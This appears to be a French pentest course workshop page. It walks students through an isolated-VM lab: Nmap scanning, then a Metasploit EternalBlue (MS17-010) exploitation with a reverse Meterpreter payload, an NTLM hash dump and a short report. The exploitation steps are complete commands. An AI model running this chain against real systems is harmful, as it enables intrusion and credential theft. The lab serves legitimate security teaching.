Aller au contenu principal

Introduction et Kali — Atelier pratique

Vous avez lu la démonstration. Vous allez maintenant la refaire seul(e). Objectif : sortir un shell SYSTEM sur la victime, capturer trois preuves, remplir la checklist. Compter 90 à 120 minutes la première fois.

Le seul cadre légal

Tout, dans cet atelier, se passe entre deux VM sur votre poste, sur un réseau host-only sans passerelle vers l'internet. Aucune commande de cette leçon ne doit sortir de votre PC. Si vous êtes chez vous derrière une box, le trafic ne doit pas remonter jusqu'à elle : c'est pour ça qu'on utilise host-only et pas NAT ni bridged.


Ce que vous devez livrer

À la fin de l'atelier, vous aurez, dans un dossier ~/labs/semaine-01/preuves/ sur votre Kali :

  1. scan-ports.txt — sortie complète du scan Nmap tous ports.
  2. scan-versions.txt — sortie du scan de versions.
  3. scan-vuln.txt — sortie du script smb-vuln-ms17-010.
  4. screenshot.jpeg — capture du bureau de la victime, prise depuis Meterpreter.
  5. hashes.txt — le dump NTLM des comptes locaux.
  6. mini-rapport.md — trois paragraphes en Markdown : situation, exploitation, impact.

Ces six fichiers sont votre livrable. Ils sont aussi ce que vous auriez remis à un client, en miniature. On garde l'habitude dès la semaine 1.


Prérequis matériels

RessourceMinimum
RAM disponible8 Go (4 pour Kali, 2 pour la victime, 2 pour l'hôte)
Disque libre60 Go
Virtualisation VT-x/AMD-VActivée dans le BIOS/UEFI
Système hôteWindows 10/11, macOS ou Linux

Si vous n'avez pas 8 Go, réduisez Kali à 3 Go et Metasploitable à 1,5 Go. Ça râlera, mais ça tournera.


Étape 1 — Poser le décor (30 min)

1a. Hyperviseur

Installez VirtualBox (virtualbox.org) si ce n'est pas déjà fait. VMware Workstation Player fonctionne aussi, les captures d'écran de ce cours sont sous VirtualBox.

1b. Kali Linux

Téléchargez l'image VirtualBox 64-bit pré-construite : kali.org/get-kaliVirtual Machines.

Vérifiez le SHA-256 avant de rien ouvrir. Sur Windows PowerShell :

Get-FileHash .\kali-linux-<version>-virtualbox-amd64.ova -Algorithm SHA256

Comparez avec la valeur affichée sur le site. Si ça ne colle pas, ne l'importez pas. Recommencez le téléchargement.

Importez le .ova dans VirtualBox (File → Import Appliance), démarrez, connectez-vous (kali / kali), mettez à jour :

sudo apt update && sudo apt full-upgrade -y
sudo apt autoremove --purge -y

Prenez un snapshot appelé base-propre (Machine → Take Snapshot). Vous y reviendrez souvent.

1c. La victime

Deux options, choisissez-en une :

  • Option A — Metasploitable 3 Windows. Suivez le guide officiel : github.com/rapid7/metasploitable3. Le build prend 30 à 45 minutes.
  • Option B — Rapide. Téléchargez la VM Windows 7 x86 de Microsoft (encore mise à disposition sous forme d'archives IE testing), désactivez Windows Update, désactivez Windows Firewall pour SMB, activez SMBv1 (Panneau de configuration → Programmes et fonctionnalités → Fonctionnalités Windows → SMB 1.0/CIFS). Prenez un snapshot base-vulnerable.

Peu importe l'option : la cible doit avoir 445/TCP ouvert et SMBv1 activé.

1d. Réseau host-only isolé

Dans VirtualBox : File → Host Network Manager → Create.

  • Adaptateur : 10.10.10.1/24, masque 255.255.255.0.
  • DHCP : décoché. On configure les IP à la main, c'est plus prévisible.

Éditez chaque VM : Settings → Network → Adapter 1 → Host-only Adapter, choisir le réseau créé. Sur Adapter 2, laissez-le désactivé.

Sur Kali, fixez 10.10.10.5/24 :

sudo ip addr flush dev eth0
sudo ip addr add 10.10.10.5/24 dev eth0
sudo ip link set eth0 up

Sur la victime, fixez 10.10.10.12/24, passerelle vide, DNS vide.

Vérification cruciale — depuis Kali :

ping -c 2 10.10.10.12   # doit répondre
ping -c 2 8.8.8.8 # doit échouer avec "Destination Host Unreachable"

Si 8.8.8.8 répond, votre lab n'est pas isolé. Corrigez avant de continuer. Aucune exception.


Étape 2 — Créer le dossier de preuves

mkdir -p ~/labs/semaine-01/preuves
cd ~/labs/semaine-01

Toutes les commandes qui suivent doivent produire un fichier dans preuves/. Un pentester sans fichier de sortie, c'est un pêcheur sans photo.


Étape 3 — Découverte (10 min)

Trouvez la victime sans regarder sa configuration :

sudo netdiscover -r 10.10.10.0/24 -P > preuves/hosts.txt
cat preuves/hosts.txt

Notez l'IP trouvée. On l'appellera $VICTIME dans la suite :

export VICTIME=10.10.10.12

Étape 4 — Scan (15 min)

Ports :

nmap -sS -Pn -p- --min-rate 2000 $VICTIME -oN preuves/scan-ports.txt

Versions (adaptez la liste de ports à ce que le premier scan a trouvé) :

nmap -sV -p 22,80,135,139,445,3389,3306,8080 $VICTIME -oN preuves/scan-versions.txt

Vulnérabilité SMB :

nmap --script smb-vuln-ms17-010 -p 445 $VICTIME -oN preuves/scan-vuln.txt

Vérifiez la présence du mot VULNERABLE dans scan-vuln.txt :

grep -i vulnerable preuves/scan-vuln.txt

Si rien ne remonte : la cible est patchée, ou SMBv1 est désactivé. Revenez à l'étape 1c, option B, et remettez SMBv1.


Étape 5 — Exploitation (15 min)

Lancez la console Metasploit :

msfconsole -q

Dans la console :

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

Attendez la ligne Meterpreter session 1 opened. Si elle n'apparaît pas au bout de 30 secondes, Ctrl+C, relancez exploit. Cette faille est capricieuse ; deux essais suffisent en général.

Une fois dans Meterpreter, capturez vos preuves :

getuid
sysinfo
screenshot
hashdump

Ouvrez le screenshot avec :

meterpreter > shell
C:\Windows\system32> exit
meterpreter > download C:\\Windows\\System32\\drivers\\etc\\hosts /home/kali/labs/semaine-01/preuves/hosts-cible.txt

Récupérez le résultat du hashdump dans un fichier :

meterpreter > hashdump > /home/kali/labs/semaine-01/preuves/hashes.txt

Et quittez proprement :

meterpreter > exit
msf6 > exit

De retour dans Kali, le screenshot Meterpreter a été sauvegardé dans ~. Déplacez-le :

mv ~/*.jpeg ~/labs/semaine-01/preuves/screenshot.jpeg

Étape 6 — Le mini-rapport (30 min)

Ouvrez ~/labs/semaine-01/preuves/mini-rapport.md et remplissez ces trois sections. Ne dépassez pas une page.

# Mini-rapport — Semaine 1

## Situation
Deux machines virtuelles sur un réseau isolé host-only (10.10.10.0/24).
- Attaquant : Kali Linux 10.10.10.5
- Cible : Windows Server 2008 R2 (Metasploitable 3), 10.10.10.12

## Exploitation
Le service SMB (port 445) tourne en version SMBv1 sans le correctif de mars 2017.
La faille MS17-010 (CVE-2017-0143) permet une exécution de code à distance en tant que
compte SYSTEM sans authentification. L'exploit `exploit/windows/smb/ms17_010_eternalblue`
de Metasploit a livré un payload Meterpreter en TCP inverse.

Preuves jointes :
- `scan-vuln.txt` — Nmap déclare la cible VULNERABLE à MS17-010.
- `screenshot.jpeg` — bureau de la cible capturé depuis la session Meterpreter.
- `hashes.txt` — dump NTLM des comptes locaux (Administrator, Guest, vagrant).

## Impact
Compromission totale de la machine (SYSTEM). Extraction des empreintes de
mots de passe locaux. Sur un domaine réel, cette compromission serait le point
de départ d'un mouvement latéral vers d'autres serveurs Windows non patchés.

## Recommandations
1. Appliquer le correctif MS17-010 (mars 2017) sur toutes les machines.
2. Désactiver SMBv1 partout où c'est possible (Get-SmbServerConfiguration).
3. Segmenter le réseau : le port 445 ne devrait jamais être joignable depuis
les postes utilisateurs.

Ce format — Situation, Exploitation, Impact, Recommandations — est celui qu'on affinera dans le module 12. Prenez le pli maintenant.


Checklist de fin d'atelier

  • VM Kali importée, à jour, snapshot base-propre pris.
  • VM victime prête, avec SMBv1 actif, snapshot base-vulnerable pris.
  • Réseau host-only isolé, ping 8.8.8.8 échoue depuis Kali.
  • Dossier ~/labs/semaine-01/preuves/ contient les six fichiers listés en tête de page.
  • La session Meterpreter a bien affiché NT AUTHORITY\SYSTEM.
  • Screenshot Meterpreter récupéré et déplacé dans preuves/.
  • hashes.txt non vide (au moins les comptes Administrator et Guest).
  • mini-rapport.md écrit, une page, quatre sections.

Tous cochés ? Vous venez d'exécuter, seul(e), une chaîne d'attaque complète : découverte → scan → exploitation → proof of pwn → rapport. C'est le squelette de toutes les missions du reste de votre carrière.


Ce qui bloque, et comment débloquer

SymptômeCause probableCe que vous faites
Kali très lentRAM insuffisanteBaissez à 3 Go, éteignez les autres VM.
netdiscover trouve trois IPs et rien d'utileLa victime est en NAT, pas en host-onlyRebasculez sur host-only, redémarrez.
nmap : Note: Host seems downPare-feu Windows bloque ICMPAjoutez -Pn.
Exploit : no-targetLa cible n'est plus vulnérableSnapshot → revert vers base-vulnerable.
Meterpreter meurt en une secondeAntivirusDésactivez Defender temporairement dans le lab, ou changez de payload (voir module 8).
Ctrl+C sur Metasploit ne rend pas la mainLe module fait un cleanupAttendez 10 secondes, ça revient.

Ce que vous emportez de cet atelier

  • Un réflexe de laboratoire : deux VM, un réseau fermé, un dossier de preuves.
  • Une chaîne d'outils qu'on va rejouer 12 fois : netdiscover → nmap → msfconsole.
  • Le format du mini-rapport : Situation / Exploitation / Impact / Recommandations.
  • La sensation, physique, de ce que veut dire compromettre une machine. C'est ce qui vous fera continuer.

Prêt(e) ? Passons au quiz du module.